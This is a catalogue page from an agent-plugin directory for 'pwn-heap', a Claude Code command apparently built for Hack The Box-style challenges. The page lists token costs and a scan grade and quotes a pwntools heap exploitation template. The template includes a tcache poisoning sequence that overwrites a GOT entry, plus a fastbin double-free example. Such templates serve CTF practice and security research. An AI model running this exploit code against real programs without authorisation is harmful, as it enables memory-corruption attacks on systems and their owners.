pwn-heap

pwn-heap is a command for Claude Code from allsmog/pwn-claude-plugin. It costs 16 tokens per session (979 once invoked), scanned A, original, MIT.

A pwntools-based Python template for experimenting with common heap vulnerabilities in compiled programs. Heap exploitation means abusing a program's dynamic memory management to change how memory is allocated.

In plain words
What is it for?
It is for testing tcache poisoning, fastbin duplication, House of Force, and use-after-free techniques against local, debugger-run, or remote binaries.
Why use it?
It gives security researchers a starting structure for adapting an exploit to a target program instead of writing the connection and allocation helpers from scratch.

Command for Claude Code

Written for Claude Code: allowed-tools in frontmatter. Also seen: names the AskUserQuestion tool.

Part of the pwn-htb plugin — 7 skills, 16 commands, 3 agents, 2 hooks shipped together

Good fit It is for testing tcache poisoning, fastbin duplication, House of Force, and use-after-free techniques against local, debugger-run, or remote binaries.

Compare 6 commands from other repositories ↓
Install with agentmods
npx agentmods add commands/allsmog/pwn-claude-plugin/pwn-heap
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/allsmog/pwn-claude-plugin

Made for: Claude Code.

Or install pwn-htb, the plugin that ships this one along with the rest of its 7 skills, 16 commands, 3 agents, 2 hooks.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for pwn-heap

README.md
[![agentmods](https://agentmods.dev/badge/commands/allsmog/pwn-claude-plugin/pwn-heap/github.svg)](https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-heap)
Your own site
<a href="https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-heap"><img src="https://agentmods.dev/badge/commands/allsmog/pwn-claude-plugin/pwn-heap/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for pwn-heap

Your own site · 80×15
<a href="https://agentmods.dev/commands/allsmog/pwn-claude-plugin/pwn-heap"><img src="https://agentmods.dev/badge/commands/allsmog/pwn-claude-plugin/pwn-heap.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 16 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 979 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00016 $0.00979
Opus 5 $0.00008 $0.00490
Sonnet 5 $0.00003 $0.00196
Haiku 4.5 $0.00002 $0.00098

Measured 10d ago against content hash c1ca07ae7cd9, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

pwn-heap scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 10d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

pwn-htb/commands/pwn-heap.md · 135 lines

How it starts

The opening of the file, as written. The whole thing — 135 lines — stays where its author put it; the contents beside it link to each section on GitHub.

PWN Heap - Heap Exploitation Template

Generate a heap exploitation template for common heap vulnerabilities.

Common Techniques

  • tcache poisoning - Corrupt tcache fd to get arbitrary allocation
  • fastbin dup - Double free to corrupt fastbin
  • House of Force - Top chunk overwrite
  • Use After Free - Exploit dangling pointer

Generated Template

#!/usr/bin/env python3
"""
Heap Exploitation Template
Target: <binary>
Technique: tcache poisoning / fastbin dup
"""
from pwn import *

# === CONFIGURATION ===
BINARY = './<binary>'

# === SETUP ===
elf = ELF(BINARY)
context.binary = elf

# libc = ELF('./libc.so.6')

def conn():
    if args.REMOTE:
        return remote(args.HOST, int(args.PORT))
    elif args.GDB:
        return gdb.debug(BINARY, '''
            b main
            c
        ''')
    else:
        return process(BINARY)

# === HEAP PRIMITIVES ===
# Adapt these to match binary's menu interface

def alloc(io, size, data=b'A'):
    """Allocate chunk"""
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Size: ', str(size).encode())
    io.sendafter(b'Data: ', data)

def free(io, idx):
    """Free chunk"""
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'Index: ', str(idx).encode())

def edit(io, idx, data):
    """Edit chunk (if available)"""
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'Index: ', str(idx).encode())
    io.sendafter(b'Data: ', data)

def show(io, idx):
    """View chunk (for leaks)"""
    io.sendlineafter(b'> ', b'4')
    io.sendlineafter(b'Index: ', str(idx).encode())
    return io.recvline()

def main():
    io = conn()

    # === TCACHE POISONING EXAMPLE ===
    # 1. Allocate two chunks
    alloc(io, 0x20, b'AAAA')  # chunk 0
    alloc(io, 0x20, b'BBBB')  # chunk 1

    # 2. Free both (fills tcache)
    free(io, 0)
    free(io, 1)

    # 3. Overwrite fd pointer (UAF or overflow)
    target = elf.got['exit']  # Where we want to allocate
    edit(io, 1, p64(target))

    # 4. Allocate twice - second gives us target
    alloc(io, 0x20, b'CCCC')      # Gets chunk 1
    alloc(io, 0x20, p64(elf.symbols['win']))  # Gets target!

    # === FASTBIN DUP EXAMPLE ===
    # (For older glibc without tcache)
    # alloc(io, 0x60, b'A')  # 0
    # alloc(io, 0x60, b'B')  # 1
    # free(io, 0)
    # free(io, 1)
    # free(io, 0)  # Double free!
    # alloc(io, 0x60, p64(target))
    # alloc(io, 0x60, b'X')
    # alloc(io, 0x60, b'X')
    # alloc(io, 0x60, payload)  # Arbitrary write!

    io.interactive()

if __name__ == '__main__':
    main()

Read the full file on GitHub · 135 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 10d ago First seen · 135 lines · 16 tokens per session scan A c1ca07ae7cd9

Subscribe to this mod's changes

pwn-heap is a command published in the GitHub repository allsmog/pwn-claude-plugin (2 stars, last pushed 6mo ago), licensed MIT. It adds 16 tokens to every session and 979 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.